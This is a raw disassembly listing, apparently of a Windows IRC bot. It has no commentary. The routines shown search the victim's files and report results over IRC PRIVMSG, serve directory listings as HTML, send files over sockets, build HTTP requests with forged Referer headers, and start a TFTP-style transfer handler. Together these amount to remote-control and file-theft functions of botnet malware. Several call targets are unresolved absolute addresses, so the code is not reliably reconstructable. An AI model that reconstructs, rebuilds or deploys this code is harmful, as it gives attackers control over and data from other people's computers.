arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_417330
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_406106
		push	eax
		push	offset aS_2	; "\\%s"
		jmp	short loc_40610F
; ---------------------------------------------------------------------------

loc_406106:				; CODE XREF: sub_4060D0+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"

loc_40610F:				; CODE XREF: sub_4060D0+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jbe	short loc_4061AA
		mov	[ebp+arg_8], 2

loc_40613A:				; CODE XREF: sub_4060D0+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_417AB0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40617A
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40617A
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40617A
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40617A
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_406194
; ---------------------------------------------------------------------------

loc_40617A:				; CODE XREF: sub_4060D0+7Aj
					; sub_4060D0+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40618A
		push	5Ch
		pop	eax
		jmp	short loc_40618D
; ---------------------------------------------------------------------------

loc_40618A:				; CODE XREF: sub_4060D0+B3j
		movsx	eax, al

loc_40618D:				; CODE XREF: sub_4060D0+B8j
		mov	[ebp+ebx+var_210], al

loc_406194:				; CODE XREF: sub_4060D0+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_417AB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40613A

loc_4061AA:				; CODE XREF: sub_4060D0+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_314]
		push	offset asc_42A660 ; "\n"
		push	eax
		call	sub_418B6E
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 26A02F2h
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4061FB
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4061FE
		push	[ebp+arg_0]
		jmp	loc_40627E
; ---------------------------------------------------------------------------

loc_4061FB:				; CODE XREF: sub_4060D0+11Cj
		mov	[ebp+var_4], esi

loc_4061FE:				; CODE XREF: sub_4060D0+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40620B
		mov	[ebp+var_4], esi

loc_40620B:				; CODE XREF: sub_4060D0+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_406289
		cmp	[ebp+arg_C], edi
		jz	short loc_40627D
		lea	eax, [ebp+var_314]
		push	offset asc_42A65C ; "*"
		push	eax
		call	sub_4179D0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_406ACA
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_4172B0
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4062D8
; ---------------------------------------------------------------------------

loc_40627D:				; CODE XREF: sub_4060D0+152j
		push	ebx

loc_40627E:				; CODE XREF: sub_4060D0+126j
		call	dword_43AE30
		jmp	loc_406380
; ---------------------------------------------------------------------------

loc_406289:				; CODE XREF: sub_4060D0+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 2660802h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4062D8
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4172B0
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	near ptr 26A0000h
		nop
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 2640811h

loc_4062D8:				; CODE XREF: sub_4060D0+1ABj
					; sub_4060D0+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_42A61C
		push	eax
		call	sub_4172B0
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_416D5C
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_4407F4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_405F4D
		push	edi
		push	edi
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_440804[ecx], eax
		jz	short loc_406352

loc_406340:				; CODE XREF: sub_4060D0+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_406380
		push	5
		nop
		call	near ptr 2610E42h
		jmp	short loc_406340
; ---------------------------------------------------------------------------

loc_406352:				; CODE XREF: sub_4060D0+26Ej
		push	ebx
		call	dword_43AE30
		nop
		call	near ptr 2660AEBh
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_42A5D4
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h

loc_406380:				; CODE XREF: sub_4060D0+1B4j
					; sub_4060D0+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4060D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406387	proc near		; CODE XREF: sub_405F4D+15Ap
					; sub_40EE72+49C9p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_417330
		mov	edi, [ebp+arg_0]
		push	offset asc_42A660 ; "\n"
		push	edi
		call	sub_418B6E
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4063E6
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_4064E5
; ---------------------------------------------------------------------------

loc_4063E6:				; CODE XREF: sub_406387+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4064CB
		call	sub_417AB0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		push	edi
		call	sub_417AB0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_4064E5
; ---------------------------------------------------------------------------

loc_4064CB:				; CODE XREF: sub_406387+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h

loc_4064E5:				; CODE XREF: sub_406387+5Aj
					; sub_406387+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		cmp	[ebp+arg_C], ebx
		jz	short loc_406580
		push	[ebp+arg_C]
		call	sub_417AB0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_406580
		push	[ebp+arg_C]
		call	sub_417AB0
		sub	eax, 3
		pop	ecx
		jz	short loc_406531

loc_406525:				; CODE XREF: sub_406387+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_406531
		dec	eax
		jnz	short loc_406525

loc_406531:				; CODE XREF: sub_406387+19Cj
					; sub_406387+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8

loc_406580:				; CODE XREF: sub_406387+180j
					; sub_406387+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	near ptr 26D0000h
		nop
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 26C0000h
		test	eax, eax
		jz	loc_406970
		mov	edi, 1FFh

loc_4065AC:				; CODE XREF: sub_406387+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_406958
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406958
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406958
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 26B069Ch
		nop
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 26B0000h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_406621
		mov	ecx, offset aAm	; "AM"

loc_406621:				; CODE XREF: sub_406387+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40662D
		sub	eax, 0Ch

loc_40662D:				; CODE XREF: sub_406387+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_4172B0
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4067D0
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4066A1
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_406919
; ---------------------------------------------------------------------------

loc_4066A1:				; CODE XREF: sub_406387+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40678B
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS	; "%s%s/"
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417AB0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_406741
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_406746
; ---------------------------------------------------------------------------

loc_406741:				; CODE XREF: sub_406387+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"

loc_406746:				; CODE XREF: sub_406387+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40691A
; ---------------------------------------------------------------------------

loc_40678B:				; CODE XREF: sub_406387+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_406929
; ---------------------------------------------------------------------------

loc_4067D0:				; CODE XREF: sub_406387+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40680F
		push	ebx
		push	[ebp+var_368]
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi

loc_4067FB:				; CODE XREF: sub_406387+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		jmp	loc_406929
; ---------------------------------------------------------------------------

loc_40680F:				; CODE XREF: sub_406387+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_406903
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417AB0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_4068AF
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_4068B4
; ---------------------------------------------------------------------------

loc_4068AF:				; CODE XREF: sub_406387+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"

loc_4068B4:				; CODE XREF: sub_406387+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4067FB
; ---------------------------------------------------------------------------

loc_406903:				; CODE XREF: sub_406387+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"

loc_406919:				; CODE XREF: sub_406387+315j
		push	esi

loc_40691A:				; CODE XREF: sub_406387+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41782A
		add	esp, 18h

loc_406929:				; CODE XREF: sub_406387+444j
					; sub_406387+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		cmp	[ebp+arg_8], ebx
		jz	short loc_406958
		push	7D0h
		nop
		call	near ptr 2610E42h

loc_406958:				; CODE XREF: sub_406387+22Bj
					; sub_406387+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26C0000h
		test	eax, eax
		jnz	loc_4065AC

loc_406970:				; CODE XREF: sub_406387+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 26A03C6h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4069B3
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_4069E7
; ---------------------------------------------------------------------------

loc_4069B3:				; CODE XREF: sub_406387+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4069CD
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_4069E7
; ---------------------------------------------------------------------------

loc_4069CD:				; CODE XREF: sub_406387+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_4172B0
		add	esp, 10h

loc_4069E7:				; CODE XREF: sub_406387+62Aj
					; sub_406387+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_406387	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A0D	proc near		; CODE XREF: sub_405F4D+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	near ptr 2660802h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406AC5
		push	esi
		push	ebx
		nop
		call	near ptr 26A0000h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_406ABE

loc_406A52:				; CODE XREF: sub_406A0D+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_406A6F
		mov	edi, [ebp+arg_4]

loc_406A6F:				; CODE XREF: sub_406A0D+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 26E0000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2640000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406AB9
		call	dword_43AD2C
		cmp	eax, 2733h
		jnz	short loc_406ABE
		xor	eax, eax

loc_406AB9:				; CODE XREF: sub_406A0D+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_406A52

loc_406ABE:				; CODE XREF: sub_406A0D+43j
					; sub_406A0D+A8j
		push	ebx
		nop
		call	near ptr 2640811h

loc_406AC5:				; CODE XREF: sub_406A0D+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406A0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_406ACA	proc near		; CODE XREF: sub_4060D0+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jbe	short loc_406AF3

loc_406ADD:				; CODE XREF: sub_406ACA+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_406AE7
		mov	byte ptr [esi+edi], 2Fh

loc_406AE7:				; CODE XREF: sub_406ACA+17j
		push	edi
		inc	esi
		call	sub_417AB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_406ADD

loc_406AF3:				; CODE XREF: sub_406ACA+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_406ACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AF8	proc near		; CODE XREF: sub_40EE72+2BE6p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_43AD10
		push	6
		push	1
		push	2
		call	dword_43AE18
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_43AD98
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40ADCA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406BD5
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_406B71
		mov	eax, offset byte_436EDC

loc_406B71:				; CODE XREF: sub_406AF8+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_43ADE8
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		pop	esi

loc_406BD5:				; CODE XREF: sub_406AF8+6Bj
		push	ebx
		call	dword_43AE30
		call	dword_43ACF8
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_4172B0
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_406C15
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_406C15:				; CODE XREF: sub_406AF8+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_406AF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C19	proc near		; CODE XREF: sub_406C19:loc_407104p
					; DATA XREF: sub_407252+107o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_43AE18
		mov	edi, eax
